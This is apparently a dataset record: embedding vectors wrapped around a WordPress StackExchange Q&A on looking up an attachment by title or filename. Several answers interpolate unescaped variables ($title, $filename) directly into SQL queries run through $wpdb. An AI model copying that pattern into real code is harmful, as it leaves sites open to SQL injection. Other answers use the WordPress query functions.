-0.01788330078125,
-0.058380126953125,
0.027618408203125,
0.04534912109375,
-0.047119140625,
-0.017425537109375,
0.0225830078125,
0.0213623046875,
-0.018096923828125,
0.0160369873046875,
-0.001651763916015625,
-0.0182952880859375,
-0.0050201416015625,
0.019378662109375,
0.0265655517578125,
0.025543212890625,
0.0150146484375,
-0.02252197265625,
-0.055023193359375,
-0.0555419921875,
-0.053802490234375,
0.0036792755126953125,
-0.05889892578125,
-0.005870819091796875,
-0.004230499267578125,
0.0237884521484375,
0.0439453125,
-0.020599365234375,
0.01203155517578125,
0.0228271484375,
-0.0228729248046875,
-0.0223846435546875,
-0.011627197265625,
-0.0152435302734375,
-0.004207611083984375,
0.03802490234375,
0.020782470703125,
0.01123809814453125,
-0.0325927734375,
0.0033416748046875,
0.0201263427734375,
0.0836181640625,
-0.03521728515625,
-0.0302581787109375,
0.0302734375,
-0.0386962890625,
-0.01416778564453125,
0.0217742919921875,
0.011627197265625,
-0.044891357421875,
-0.016265869140625,
0.01154327392578125,
-0.0277862548828125,
0.01255035400390625,
0.0203399658203125,
-0.039306640625,
0.0692138671875,
-0.035797119140625,
0.01068115234375,
0.036651611328125,
0.0099639892578125,
-0.020416259765625,
0.00447845458984375,
-0.05255126953125,
0.043701171875,
0.056427001953125,
0.034088134765625,
-0.03851318359375,
-0.0163116455078125,
0.00817108154296875,
0.020233154296875,
-0.005939483642578125,
-0.008514404296875,
0.044586181640625,
0.0296478271484375,
0.120849609375,
0.0281982421875,
-0.00164031982421875,
-0.0335693359375,
0.00762939453125,
0.03564453125,
0.04736328125,
-0.04803466796875,
0.028106689453125,
-0.03753662109375,
0.00502777099609375,
0.01348114013671875,
0.005828857421875,
0.01641845703125,
-0.029022216796875,
-0.0263519287109375,
-0.0178680419921875,
-0.01446533203125,
-0.02203369140625,
0.054229736328125,
-0.0026035308837890625,
0.0040740966796875,
0.006458282470703125,
-0.0428466796875,
0.0236053466796875,
-0.0194854736328125,
0.043426513671875,
0.00705718994140625,
0.014434814453125,
0.0026264190673828125,
0.00960540771484375,
-0.0031337738037109375,
-0.0207672119140625,
0.002063751220703125,
0.00904083251953125,
-0.01287841796875,
0.0189971923828125,
0.031890869140625,
0.007518768310546875,
0.01387786865234375,
0.07867431640625,
0.059051513671875,
0.004150390625,
-0.055023193359375,
-0.08197021484375,
-0.0010385513305664062,
0.033966064453125,
0.029815673828125,
0.060791015625,
0.04864501953125,
0.0049591064453125,
0.08447265625,
-0.0494384765625,
0.00025725364685058594,
0.020660400390625,
0.0179901123046875,
0.0009908676147460938,
0.00783538818359375,
-0.018218994140625,
-0.0065155029296875,
-0.0379638671875,
0.0141448974609375,
-0.0128021240234375,
0.06805419921875,
0.0165252685546875,
0.040740966796875,
-0.0933837890625,
-0.0279693603515625,
-0.052459716796875,
0.0212249755859375,
0.035491943359375,
0.024627685546875,
-0.042572021484375,
0.0189056396484375,
0.01403045654296875,
0.0300445556640625,
0.007289886474609375,
0.0157470703125,
0.0017862319946289062,
0.034454345703125,
0.00930023193359375,
0.004734039306640625,
0.06341552734375,
-0.00360870361328125,
-0.07354736328125,
-0.03277587890625,
-0.03204345703125,
0.002147674560546875,
0.0028057098388671875,
0.050323486328125,
0.0308380126953125,
-0.01485443115234375,
0.027496337890625,
0.0006237030029296875,
0.01071929931640625,
0.0196685791015625,
-0.0135345458984375,
0.0126190185546875,
-0.032989501953125,
0.04925537109375,
-0.01128387451171875,
0.031036376953125,
-0.050811767578125,
-0.038482666015625,
-0.004985809326171875,
0.01293182373046875,
-0.032073974609375,
0.05291748046875,
-0.006046295166015625,
-0.0299224853515625,
0.0239410400390625,
0.048614501953125,
-0.040985107421875,
-0.0005998611450195312,
0.0416259765625,
-0.0501708984375,
-0.0211639404296875,
0.0308837890625,
0.00682830810546875,
-0.029541015625,
0.0160675048828125,
-0.0197906494140625,
0.041839599609375,
0.003093719482421875,
-0.01371002197265625,
-0.0228729248046875,
-0.0178070068359375,
-0.02984619140625,
0.040771484375,
-0.0287933349609375,
-0.0489501953125,
-0.0007143020629882812,
0.0088653564453125,
0.05902099609375,
0.0281524658203125,
-0.0257568359375,
0.02362060546875,
0.0182342529296875,
0.0014314651489257812,
-0.036651611328125,
0.0214691162109375,
-0.0128631591796875,
-0.022308349609375,
-0.006038665771484375,
-0.00864410400390625,
0.0134124755859375,
0.03021240234375,
0.00852203369140625,
0.030029296875,
0.0199432373046875,
0.014129638671875,
-0.0112152099609375,
0.0174102783203125,
-0.027496337890625,
0.002681732177734375,
0.0075531005859375,
0.023223876953125,
-0.001834869384765625,
-0.00933074951171875,
0.007358551025390625,
0.017120361328125,
-0.01421356201171875,
0.01824951171875,
0.033660888671875,
0.05322265625,
0.050689697265625,
0.0738525390625,
0.0204925537109375,
0.0201873779296875,
0.0305633544921875,
-0.011199951171875,
-0.0207061767578125,
-0.0109710693359375,
-0.0060882568359375,
-0.019805908203125,
-0.009857177734375,
0.0091705322265625,
-0.02093505859375,
-0.0186309814453125,
-0.0220489501953125,
-0.046142578125,
0.006683349609375,
-0.002689361572265625,
-0.01410675048828125,
-0.0193634033203125,
0.022308349609375,
0.00202178955078125,
-0.0255889892578125,
0.067138671875,
0.006107330322265625,
0.005664825439453125,
-0.0809326171875,
0.0269775390625,
0.0188140869140625,
-0.01174163818359375,
0.0328369140625,
0.00396728515625,
0.00844573974609375,
-0.0005726814270019531,
-0.04400634765625,
0.0160064697265625,
-0.0015306472778320312,
0.04083251953125,
-0.0162811279296875,
-0.0273284912109375,
0.017730712890625,
-0.020233154296875,
-0.0182342529296875,
-0.07354736328125,
-0.005245208740234375,
-0.092041015625,
-0.00022280216217041016,
-0.00597381591796875,
-0.01421356201171875,
0.0003268718719482422,
-0.040252685546875,
-0.046234130859375,
0.0253753662109375,
0.00958251953125,
-0.028839111328125,
-0.00487518310546875,
-0.02197265625,
-0.006916046142578125,
0.01273345947265625,
-0.020416259765625,
0.0064849853515625,
-0.020904541015625,
0.0330810546875,
0.030029296875,
0.0203704833984375,
0.029083251953125,
0.013885498046875,
-0.0462646484375,
0.00557708740234375,
-0.0169525146484375,
0.01171112060546875,
0.0036029815673828125,
-0.0238494873046875,
0.03546142578125,
0.03619384765625,
-0.016510009765625,
-0.060546875,
0.0171661376953125,
-0.0172576904296875,
-0.0003819465637207031,
-0.045501708984375,
-0.0288238525390625,
-0.0361328125,
0.035675048828125,
0.00878143310546875,
0.018096923828125,
-0.01335906982421875,
-0.0618896484375,
-0.034576416015625,
-0.0107879638671875,
-0.01236724853515625,
0.0160980224609375,
-0.038818359375,
0.03411865234375,
-0.0491943359375,
-0.0255279541015625,
0.02264404296875,
-0.01352691650390625,
-0.02166748046875,
-0.00289154052734375,
-0.01042938232421875,
-0.0139923095703125,
-0.01222991943359375,
-0.00823974609375,
0.0169677734375,
-0.03729248046875,
-0.057403564453125,
0.0209197998046875,
-0.0010347366333007812,
-0.0311126708984375,
0.0185394287109375,
-0.05670166015625,
-0.0307464599609375,
0.050567626953125,
0.044036865234375,
0.0006508827209472656,
0.02886962890625,
-0.0019893646240234375,
0.021148681640625,
-0.0013713836669921875,
0.0271759033203125,
0.003082275390625,
0.0272979736328125,
-0.0374755859375,
0.10003662109375,
0.0340576171875,
0.012786865234375,
-0.00368499755859375,
0.0672607421875,
0.01605224609375,
0.016265869140625,
0.059112548828125,
-0.0224761962890625,
0.09991455078125,
-0.0526123046875,
0.0229034423828125,
0.0244140625,
0.020172119140625,
0.004611968994140625,
-0.00548553466796875,
0.102294921875,
-0.0014867782592773438,
0.00830078125
] |
3079227c39cbafff034d046d705dceada2155357
|
Wordpress Stackexchange
Q: How to find attachment by it's name? Is it possible to get attachment id by its name? And at once may be it's possible to get parent post, to which this attachment is assigned?
A: Another possible approach is directly use $wpdb to do SQL query, in the posts table, with the searched post title, and with post_type "attachment".
function get_attachment_url_by_title( $title ) {
global $wpdb;
$attachments = $wpdb->get_results( "SELECT * FROM $wpdb->posts WHERE post_title = '$title' AND post_type = 'attachment' ", OBJECT );
//print_r($attachments);
if ( $attachments ){
$attachment_url = $attachments[0]->guid;
}else{
return 'image-not-found';
}
return $attachment_url;
}
// usage:
get_attachment_url_by_title('your_image_title');
Keep in mind that this code will return the first attachment with this title.
Alternative way, without SQL query. Better in most cases:
function get_attachment_url_by_title( $title ) {
$attachment = get_page_by_title($title, OBJECT, 'attachment');
//print_r($attachment);
if ( $attachment ){
$attachment_url = $attachment->guid;
}else{
return 'image-not-found';
}
return $attachment_url;
}
echo get_attachment_url_by_title('your_image_title');
|
Q: How to find attachment by it's name? Is it possible to get attachment id by its name? And at once may be it's possible to get parent post, to which this attachment is assigned?
A: Another possible approach is directly use $wpdb to do SQL query, in the posts table, with the searched post title, and with post_type "attachment".
function get_attachment_url_by_title( $title ) {
global $wpdb;
$attachments = $wpdb->get_results( "SELECT * FROM $wpdb->posts WHERE post_title = '$title' AND post_type = 'attachment' ", OBJECT );
//print_r($attachments);
if ( $attachments ){
$attachment_url = $attachments[0]->guid;
}else{
return 'image-not-found';
}
return $attachment_url;
}
// usage:
get_attachment_url_by_title('your_image_title');
Keep in mind that this code will return the first attachment with this title.
Alternative way, without SQL query. Better in most cases:
function get_attachment_url_by_title( $title ) {
$attachment = get_page_by_title($title, OBJECT, 'attachment');
//print_r($attachment);
if ( $attachment ){
$attachment_url = $attachment->guid;
}else{
return 'image-not-found';
}
return $attachment_url;
}
echo get_attachment_url_by_title('your_image_title');
A: get_page_by_title() will do the trick.
With a full URL as title:
get_page_by_title( pathinfo( 'https://www.example.com/file.jpg' )['filename'], "OBJECT", 'attachment' );
Returns WP_Post Object or Null, if no posts/attachments were found.
A: You have to write custom code to get the attachment id and post_parent by name/ slug or filename(if it has not been changed during the uploading of files).
Put the below code in your theme's functions.php file
if( ! ( function_exists( 'wp_get_attachment_by_post_name' ) ) ) {
function wp_get_attachment_by_post_name( $post_name ) {
$args = array(
'posts_per_page' => 1,
'post_type' => 'attachment',
'name' => trim( $post_name ),
);
$get_attachment = new WP_Query( $args );
if ( ! $get_attachment || ! isset( $get_attachment->posts, $get_attachment->posts[0] ) ) {
return false;
}
return $get_attachment->posts[0];
}
}
then you can call the function where you need it like below :--
$attachment = wp_get_attachment_by_post_name( $post_name );
// Replace post_name by the name/slug of the attachment
// It will give you an object, which you can render like below to get the ID and post_parent
if ( $attachment ) {
echo $attachment->ID; // Gives the id of the attachment
echo $attachment->post_parent; // Gives the post_parent id
echo $attachment->post_title; // Gives the attachment title.
}
A: Base on WordPress Codex,
attachment' - an attachment. Whilst the default WP_Query post_status is 'publish', attachments have a default post_status of 'inherit'. This means no attachments will be returned unless you also explicitly set post_status to 'inherit' or 'any'. (See post_status, below)
A: I just spent a couple of hours trying to solve this very problem. There was a file name that get_page_by_title could not find. @Snade I adapted his answer for my purposes.
I only have the filename and I need to get the url of the image from the media library. Snade was very close, but even still his function didn't given my circumstances. The function he provided did get me into the right direction.
This solution I'll be testing, but seems to work. Basically all I am looking for is the filename in the guid. Since the title stripped off the extension and made spaces, i wasn't able to find this image any other way.
Off to do more testing...
function get_attachment_url_by_guid( $filename ) {
global $wpdb;
$ext = array(".png", ".jpg", ".gif", ".jpeg");
$filename = str_replace($ext, "", $filename);
$clean_filename = trim(html_entity_decode(sanitize_title($filename)));
$attachments = $wpdb->get_results( "SELECT guid FROM $wpdb->posts WHERE guid LIKE '%$clean_filename%' AND post_type = 'attachment' ", OBJECT );
//print_r($attachments);
if ( $attachments ){
$attachment_url = $attachments[0]->guid;
}else{
return 'image-not-found';
}
return $attachment_url;
}
A: I've had to spend way too much time on this as some of the above solutions work in some situations but not others. The sticking point is for attachments uploaded with greater than 2560px resolution. Wordpress appends '-scaled' to the filename returned by get_attached_file(), but this is not reflected in the guid database column.
In the end I traced through the code for get_attached_file() and reverse engineered the following.
function get_attachment_id_by_filename($filename) {
global $wpdb;
$attachments = $wpdb->get_results("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value like'%$filename'", OBJECT);
return $attachments[0]->post_id ?? false;}
|
wordpress
|
{
"language": "en",
"length": 660,
"provenance": "stackexchange_00019.jsonl.gz:437970",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/117069"
}
|
[
0.0308074951171875,
0.00809478759765625,
-0.0027294158935546875,
0.00447845458984375,
0.00015914440155029297,
-0.0193023681640625,
0.0205230712890625,
-0.058441162109375,
0.02435302734375,
0.051361083984375,
0.01023101806640625,
0.003597259521484375,
-0.0149078369140625,
-0.0229644775390625,
-0.059814453125,
-0.0002624988555908203,
0.045867919921875,
-0.0079498291015625,
0.056640625,
0.01727294921875,
-0.00676727294921875,
0.047210693359375,
0.0296173095703125,
0.005199432373046875,
0.007663726806640625,
-0.009429931640625,
0.1068115234375,
-0.020111083984375,
0.018798828125,
-0.0164031982421875,
0.0278472900390625,
-0.0362548828125,
0.0028095245361328125,
-0.0208892822265625,
0.047393798828125,
0.006778717041015625,
0.01398468017578125,
-0.0022258758544921875,
-0.0024471282958984375,
0.042938232421875,
0.01751708984375,
0.0033664703369140625,
-0.01464080810546875,
-0.01371002197265625,
-0.0291748046875,
-0.0271759033203125,
0.016632080078125,
-0.01184844970703125,
0.03564453125,
0.025604248046875,
0.01486968994140625,
0.02557373046875,
0.0088043212890625,
0.0259857177734375,
-0.0084381103515625,
-0.0014772415161132812,
-0.007289886474609375,
0.01447296142578125,
0.0179443359375,
-0.052337646484375,
-0.05242919921875,
0.007274627685546875,
0.031707763671875,
0.01065826416015625,
0.00994110107421875,
0.01363372802734375,
0.07928466796875,
0.016082763671875,
-0.028961181640625,
-0.0009260177612304688,
0.0207061767578125,
0.005809783935546875,
-0.01666259765625,
-0.01454925537109375,
-0.02142333984375,
-0.01476287841796875,
-0.0083160400390625,
-0.062469482421875,
0.0033054351806640625,
0.014312744140625,
0.0215301513671875,
-0.03741455078125,
-0.040191650390625,
0.057830810546875,
0.00322723388671875,
0.09454345703125,
-0.007656097412109375,
-0.04705810546875,
-0.0013723373413085938,
-0.01528167724609375,
-0.003814697265625,
0.004787445068359375,
-0.0288238525390625,
0.0234832763671875,
-0.0044708251953125,
-0.0278778076171875,
0.0273590087890625,
0.042633056640625,
-0.0229644775390625,
-0.00787353515625,
-0.0021820068359375,
-0.038787841796875,
0.017974853515625,
-0.0239410400390625,
0.01084136962890625,
0.018798828125,
0.003459930419921875,
-0.043670654296875,
0.01511383056640625,
0.0011882781982421875,
-0.0145416259765625,
0.033233642578125,
0.0018062591552734375,
0.023193359375,
-0.01068878173828125,
0.016876220703125,
-0.0438232421875,
0.0246429443359375,
-0.02252197265625,
0.0447998046875,
-0.03070068359375,
-0.0016107559204101562,
-0.0020465850830078125,
0.004795074462890625,
0.01377105712890625,
0.0121002197265625,
-0.007038116455078125,
-0.010467529296875,
0.0291900634765625,
0.007373809814453125,
-0.02203369140625,
0.0046844482421875,
0.030548095703125,
-0.00673675537109375,
0.00397491455078125,
-0.0031757354736328125,
-0.03253173828125,
0.01007080078125,
0.01739501953125,
-0.0230865478515625,
0.04290771484375,
0.0031337738037109375,
0.0269622802734375,
0.0135040283203125,
-0.0183563232421875,
0.016571044921875,
0.0222930908203125,
0.0102691650390625,
-0.03594970703125,
-0.055145263671875,
0.007411956787109375,
-0.0225677490234375,
0.02099609375,
0.01216888427734375,
-0.018585205078125,
-0.00508880615234375,
0.01033782958984375,
-0.01204681396484375,
0.004528045654296875,
-0.042816162109375,
0.053070068359375,
0.0072174072265625,
0.004608154296875,
-0.00861358642578125,
-0.037567138671875,
0.003055572509765625,
-0.07049560546875,
-0.02056884765625,
0.0083770751953125,
0.04608154296875,
-0.004306793212890625,
-0.028533935546875,
-0.032623291015625,
-0.01983642578125,
-0.02789306640625,
-0.0117950439453125,
-0.033050537109375,
0.0143890380859375,
0.0249481201171875,
0.01409149169921875,
-0.004962921142578125,
-0.02874755859375,
0.01473236083984375,
0.00537109375,
-0.03485107421875,
0.03741455078125,
0.002166748046875,
0.034088134765625,
0.01383209228515625,
0.007598876953125,
0.0185546875,
0.0287017822265625,
-0.0390625,
-0.004833221435546875,
-0.058837890625,
0.0110321044921875,
0.01537322998046875,
0.038421630859375,
-0.032806396484375,
0.0242156982421875,
-0.01277923583984375,
-0.01116180419921875,
0.0299530029296875,
0.0081024169921875,
0.00586700439453125,
-0.01044464111328125,
-0.0059814453125,
0.0177764892578125,
-0.0273895263671875,
0.041595458984375,
0.0350341796875,
0.034515380859375,
-0.046905517578125,
-0.0361328125,
0.0092926025390625,
-0.00832366943359375,
-0.0022754669189453125,
-0.004772186279296875,
-0.0305328369140625,
0.0290679931640625,
-0.071044921875,
0.000736236572265625,
-0.068359375,
0.0118865966796875,
0.07489013671875,
0.022674560546875,
-0.01611328125,
-0.0009217262268066406,
0.0845947265625,
0.0283966064453125,
-0.037872314453125,
0.0028514862060546875,
-0.037109375,
-0.00989532470703125,
-0.01047515869140625,
-0.0061492919921875,
-0.0176239013671875,
-0.07159423828125,
0.018890380859375,
0.0555419921875,
0.045806884765625,
0.033447265625,
-0.0028533935546875,
-0.026031494140625,
0.07220458984375,
-0.0178680419921875,
0.007762908935546875,
-0.0183563232421875,
0.0009684562683105469,
0.02374267578125,
-0.0166778564453125,
0.01071929931640625,
0.013671875,
-0.0274810791015625,
-0.0010061264038085938,
0.049407958984375,
0.00026488304138183594,
0.0030117034912109375,
-0.01268768310546875,
0.034637451171875,
-0.018402099609375,
0.051361083984375,
0.0213165283203125,
0.02008056640625,
-0.004474639892578125,
0.044189453125,
0.02978515625,
0.037139892578125,
-0.031005859375,
0.016448974609375,
0.0005369186401367188,
0.00861358642578125,
0.0003414154052734375,
0.043792724609375,
0.036468505859375,
-0.02374267578125,
-0.0008335113525390625,
-0.01245880126953125,
-0.013427734375,
-0.0012083053588867188,
-0.007648468017578125,
0.049591064453125,
-0.01432037353515625,
-0.017181396484375,
-0.03143310546875,
-0.0751953125,
-0.0025997161865234375,
0.0081939697265625,
-0.0264892578125,
0.01007843017578125,
0.0186309814453125,
0.0701904296875,
0.026214599609375,
0.021331787109375,
-0.009552001953125,
0.0264739990234375,
0.0097808837890625,
-0.02154541015625,
0.037628173828125,
-0.035675048828125,
0.050445556640625,
0.047515869140625,
-0.03704833984375,
0.04449462890625,
-0.020050048828125,
-0.0328369140625,
-0.03228759765625,
-0.0001653432846069336,
-0.017181396484375,
-0.030731201171875,
-0.043701171875,
0.04412841796875,
-0.004055023193359375,
0.065185546875,
-0.049041748046875,
-0.0726318359375,
-0.0263671875,
-0.0174102783203125,
-0.1455078125,
-0.11993408203125,
-0.0238037109375,
-0.07440185546875,
-0.01525115966796875,
0.016754150390625,
-0.03790283203125,
0.00463104248046875,
0.0489501953125,
0.00330352783203125,
0.0011577606201171875,
-0.032196044921875,
-0.0712890625,
-0.0465087890625,
-0.07183837890625,
-0.0017938613891601562,
-0.01380157470703125,
0.030731201171875,
0.006671905517578125,
0.01044464111328125,
0.00928497314453125,
0.005706787109375,
0.02166748046875,
0.05572509765625,
-0.0021839141845703125,
-0.024932861328125,
0.007350921630859375,
-0.01345062255859375,
-0.0204620361328125,
0.00606536865234375,
0.0372314453125,
-0.012725830078125,
0.0029621124267578125,
-0.01259613037109375,
0.00262451171875,
0.022247314453125,
0.04376220703125,
0.00502777099609375,
-0.030548095703125,
0.027587890625,
0.04046630859375,
-0.036041259765625,
0.00017595291137695312,
-0.048248291015625,
-0.029296875,
0.054901123046875,
0.0162353515625,
0.0185546875,
0.0220184326171875,
0.00431060791015625,
0.0133056640625,
0.00521087646484375,
-0.0084381103515625,
-0.01114654541015625,
0.05706787109375,
-0.0026187896728515625,
0.0171356201171875,
-0.0165863037109375,
0.047027587890625,
0.00678253173828125,
-0.022918701171875,
0.01308441162109375,
0.04547119140625,
0.01479339599609375,
0.0014505386352539062,
-0.0352783203125,
-0.03485107421875,
0.051483154296875,
-0.02490234375,
0.026611328125,
-0.0489501953125,
-0.036834716796875,
-0.035736083984375,
0.0677490234375,
-0.0198974609375,
-0.01354217529296875,
-0.029327392578125,
0.01349639892578125,
-0.04229736328125,
-0.0712890625,
-0.003978729248046875,
0.01007843017578125,
-0.09344482421875,
0.005306243896484375,
-0.00792694091796875,
-0.03521728515625,
-0.01052093505859375,
0.0203704833984375,
-0.044281005859375,
-0.043731689453125,
0.00603485107421875,
-0.0015888214111328125,
0.020416259765625,
0.057220458984375,
-0.0190277099609375,
0.066162109375,
-0.0259857177734375,
-0.025390625,
-0.060272216796875,
-0.0164031982421875,
0.0263824462890625,
0.039215087890625,
-0.0277862548828125,
-0.00418853759765625,
-0.0209503173828125,
0.0452880859375,
0.01666259765625,
0.006473541259765625,
0.00194549560546875,
-0.0212249755859375,
-0.005359649658203125,
0.00902557373046875,
-0.00002282857894897461,
-0.007755279541015625,
0.004268646240234375,
-0.05523681640625,
-0.093505859375,
-0.08087158203125,
-0.01021575927734375,
0.052734375,
0.034576416015625,
-0.025360107421875,
-0.0016689300537109375,
0.006107330322265625,
0.007411956787109375,
0.0301361083984375,
-0.01189422607421875,
0.00649261474609375,
-0.01367950439453125,
-0.0290374755859375,
0.021484375,
0.00847625732421875,
-0.01043701171875,
-0.0045013427734375,
0.044189453125,
0.015380859375,
-0.022552490234375,
-0.03131103515625,
-0.0123291015625,
0.041168212890625,
-0.0165252685546875,
0.0222015380859375,
0.0177459716796875,
-0.0262603759765625,
0.037933349609375,
0.0106658935546875,
0.01143646240234375,
-0.0229644775390625,
0.0221405029296875,
-0.012603759765625,
-0.031402587890625,
0.0290985107421875,
-0.01348114013671875,
0.0217437744140625,
0.0142669677734375,
-0.0213775634765625,
-0.020050048828125,
-0.01116180419921875,
0.025146484375,
-0.02886962890625,
0.08026123046875,
0.00223541259765625,
-0.035064697265625,
0.0145263671875,
-0.024688720703125,
0.0419921875,
0.0093841552734375,
-0.01020050048828125,
0.01178741455078125,
0.0041351318359375,
0.0012922286987304688,
0.004993438720703125,
0.0136566162109375,
0.02593994140625,
0.050872802734375,
-0.0184783935546875,
0.0000623464584350586,
-0.02215576171875,
-0.0050506591796875,
-0.005222320556640625,
-0.00704193115234375,
0.00722503662109375,
-0.043609619140625,
-0.0163116455078125,
0.0355224609375,
0.0021915435791015625,
-0.005405426025390625,
0.0190277099609375,
0.020721435546875,
-0.02593994140625,
-0.00643157958984375,
-0.0255584716796875,
-0.00006318092346191406,
-0.054656982421875,
0.01523590087890625,
0.0144805908203125,
-0.00823211669921875,
0.01132965087890625,
0.057464599609375,
-0.0258941650390625,
0.0294189453125,
-0.0036602020263671875,
0.0145416259765625,
0.0197296142578125,
0.0303497314453125,
0.0227203369140625,
-0.021728515625,
0.0004379749298095703,
0.0005383491516113281,
0.0222015380859375,
-0.05474853515625,
0.01033782958984375,
0.03582763671875,
0.081298828125,
-0.060333251953125,
-0.072509765625,
0.04058837890625,
-0.055999755859375,
-0.028167724609375,
0.0318603515625,
0.0156402587890625,
-0.0213623046875,
-0.039825439453125,
-0.026702880859375,
0.019012451171875,
0.01422119140625,
-0.01108551025390625,
-0.0145416259765625,
-0.0238494873046875,
-0.002277374267578125,
-0.00836181640625,
-0.049957275390625,
0.0308990478515625,
0.03668212890625,
-0.0199127197265625,
-0.0237274169921875,
-0.0160675048828125,
0.046356201171875,
-0.0018291473388671875,
-0.0237884521484375,
-0.0225982666015625,
0.0596923828125,
-0.0003452301025390625,
0.0428466796875,
-0.0543212890625,
-0.00728607177734375,
-0.05609130859375,
-0.01837158203125,
0.07745361328125,
0.039947509765625,
-0.005435943603515625,
-0.01476287841796875,
-0.04754638671875,
-0.005481719970703125,
0.05731201171875,
-0.0157928466796875,
-0.01096343994140625,
-0.0214691162109375,
-0.00618743896484375,
0.01544952392578125,
0.0027141571044921875,
0.042816162109375,
0.023834228515625,
0.0309600830078125,
-0.0222930908203125,
0.047088623046875,
0.013031005859375,
0.054901123046875,
-0.0084991455078125,
0.036376953125,
0.021514892578125,
0.01061248779296875,
-0.050537109375,
-0.01395416259765625,
-0.0153656005859375,
-0.05291748046875,
0.0268096923828125,
0.007083892822265625,
0.0286407470703125,
-0.03863525390625,
-0.046783447265625,
0.00997161865234375,
0.00820159912109375,
-0.021575927734375,
-0.01898193359375,
-0.0167083740234375,
0.021514892578125,
-0.01355743408203125,
0.01934814453125,
-0.01100921630859375,
-0.03619384765625,
-0.014495849609375,
-0.01378631591796875,
0.0097198486328125,
0.0162353515625,
-0.03057861328125,
-0.01030731201171875,
0.045806884765625,
-0.019683837890625,
0.042449951171875,
0.08062744140625,
0.01442718505859375,
0.046234130859375,
0.022216796875,
0.0053558349609375,
-0.00011718273162841797,
0.05126953125,
-0.017913818359375,
-0.048065185546875,
0.0869140625,
0.0401611328125,
-0.01540374755859375,
0.069091796875,
-0.0333251953125,
0.01352691650390625,
-0.025482177734375,
0.0303192138671875,
0.0175628662109375,
0.00334930419921875,
0.0003139972686767578,
-0.0172119140625,
0.0132598876953125,
0.014404296875,
0.0021228790283203125,
-0.00875091552734375,
0.03497314453125,
-0.03973388671875,
-0.004291534423828125,
0.0007910728454589844,
-0.01806640625,
0.007793426513671875,
-0.006816864013671875,
0.029693603515625,
-0.003925323486328125,
-0.0296630859375,
-0.0592041015625,
0.03045654296875,
-0.030792236328125,
-0.06463623046875,
0.0202178955078125,
0.01003265380859375,
0.0165557861328125,
-0.06591796875,
0.033050537109375,
-0.021453857421875,
0.03607177734375,
-0.0240478515625,
0.0213165283203125,
0.032867431640625,
0.051177978515625,
0.00475311279296875,
-0.0146942138671875,
0.032806396484375,
-0.0200042724609375,
-0.0062713623046875,
0.0027618408203125,
0.01027679443359375,
0.060455322265625,
-0.04730224609375,
0.017791748046875,
-0.03424072265625,
0.040740966796875,
0.0004940032958984375,
0.004978179931640625,
0.0335693359375,
-0.049774169921875,
0.0027980804443359375,
0.0254058837890625,
0.044158935546875,
0.005054473876953125,
0.0117340087890625,
0.0231475830078125,
-0.0186614990234375,
-0.028411865234375,
0.0028133392333984375,
-0.06793212890625,
-0.0222320556640625,
-0.0176239013671875,
-0.06756591796875,
0.048980712890625,
-0.0006341934204101562,
0.060150146484375,
0.001308441162109375,
-0.005828857421875,
0.00818634033203125,
-0.01071929931640625,
-0.03216552734375,
0.045074462890625,
0.01214599609375,
0.0153350830078125,
-0.025970458984375,
0.0139923095703125,
0.00014841556549072266,
0.021697998046875,
0.06671142578125,
0.0242919921875,
-0.057952880859375,
-0.032867431640625,
0.03717041015625,
0.036712646484375,
-0.0056610107421875,
0.053375244140625,
0.0216217041015625,
0.016632080078125,
0.06512451171875,
-0.009857177734375,
0.036346435546875,
-0.0216827392578125,
0.0181732177734375,
0.04180908203125,
0.0176544189453125,
0.0235443115234375,
-0.0007538795471191406,
0.037384033203125,
-0.03240966796875,
-0.007228851318359375,
0.05401611328125,
-0.04779052734375,
0.007083892822265625,
0.0152435302734375,
0.026458740234375,
-0.05401611328125,
-0.0242462158203125,
-0.018096923828125,
0.042083740234375,
0.0185699462890625,
-0.01200103759765625,
0.021728515625,
0.0110015869140625,
0.00576019287109375,
-0.0027103424072265625,
-0.0002593994140625,
0.010833740234375,
-0.004261016845703125,
0.0277099609375,
-0.0099639892578125,
0.0189056396484375,
-0.053619384765625,
-0.0253448486328125,
0.049102783203125,
0.049163818359375,
-0.015106201171875,
-0.0203094482421875,
0.026031494140625,
-0.015838623046875,
-0.031829833984375,
-0.004650115966796875,
-0.03509521484375,
0.00705718994140625,
0.0312347412109375,
-0.051788330078125,
0.022796630859375,
0.0494384765625,
0.0245819091796875,
-0.0131072998046875,
-0.0178070068359375,
-0.06756591796875,
0.006870269775390625,
-0.0048980712890625,
-0.006069183349609375,
0.0277099609375,
0.0247039794921875,
0.00754547119140625,
0.0029773712158203125,
-0.0270233154296875,
-0.004962921142578125,
-0.0240325927734375,
0.0322265625,
-0.0180816650390625,
0.035491943359375,
-0.0245208740234375,
-0.038482666015625,
-7.748603820800781e-7,
0.0384521484375,
0.055145263671875,
0.0060272216796875,
0.049835205078125,
-0.007598876953125,
-0.044219970703125,
0.01006317138671875,
-0.04693603515625,
-0.0377197265625,
0.053924560546875,
-0.016998291015625,
0.036376953125,
-0.0001493692398071289,
-0.0085906982421875,
-0.026763916015625,
-0.0041046142578125,
0.04547119140625,
-0.03411865234375,
0.05096435546875,
-0.004932403564453125,
0.0078277587890625,
0.03955078125,
-0.007518768310546875,
0.0191192626953125,
-0.0128326416015625,
-0.11895751953125,
-0.0253143310546875,
-0.0279388427734375,
-0.041900634765625,
0.031463623046875,
0.04461669921875,
-0.01155853271484375,
-0.0006146430969238281,
-0.03802490234375,
-0.00998687744140625,
0.0144500732421875,
0.0005807876586914062,
-0.009002685546875,
0.0333251953125,
0.013214111328125,
-0.00738525390625,
-0.024658203125,
-0.025543212890625,
0.00753021240234375,
0.038726806640625,
0.01416015625,
0.0123748779296875,
-0.0014209747314453125,
0.0214385986328125,
-0.011199951171875,
0.0254058837890625,
-0.048004150390625,
-0.0267181396484375,
0.0213165283203125,
-0.0374755859375,
-0.0192413330078125,
0.006134033203125,
-0.013458251953125,
0.0196380615234375,
0.0161895751953125,
-0.004486083984375,
0.002109527587890625,
-0.0238037109375,
0.03125,
0.0231475830078125,
0.022369384765625,
-0.01953125,
0.00405120849609375,
-0.0225372314453125,
-0.038848876953125,
0.05645751953125,
0.033477783203125,
0.0088043212890625,
0.040771484375,
0.0089874267578125,
0.01690673828125,
0.033538818359375,
-0.007785797119140625,
0.04742431640625,
0.0325927734375,
-0.0728759765625,
-0.06585693359375,
-0.00786590576171875,
0.0010585784912109375,
-0.001827239990234375,
0.00914764404296875,
0.06787109375,
0.01245880126953125,
0.04376220703125,
-0.0140838623046875,
-0.016082763671875,
